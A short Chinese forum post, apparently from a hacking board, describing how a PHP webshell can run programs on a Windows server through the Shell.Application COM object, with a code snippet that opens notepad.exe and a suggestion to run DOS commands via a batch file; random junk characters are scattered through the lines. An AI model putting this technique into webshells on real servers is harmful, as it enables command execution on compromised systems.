关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。! x( R8 B2 w; {* O& w
! ]; g6 [. F0 Z7 l6 \' \5 f
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
1 L/ a6 B4 O$ }& L$ d/ K( B% q& y) h* ~. s ?4 l7 G
<?php
* `/ P8 T' U9 y2 a5 Q% H2 n$wsh = new COM('Shell.Application') or die("Shell.Application");
% Z( l. P( A$ U, k+ } $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");! r/ x8 V; Z9 ^2 d: ?
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
2 c4 J; z% ?8 ?5 @/ g: j+ n?>
* s: g* X* }3 q# v. b: ?" x0 g& `" c6 e4 m/ ]
xp+APMServ5.2.0测试通过。
% y+ g' i" L- V, I+ y0 f |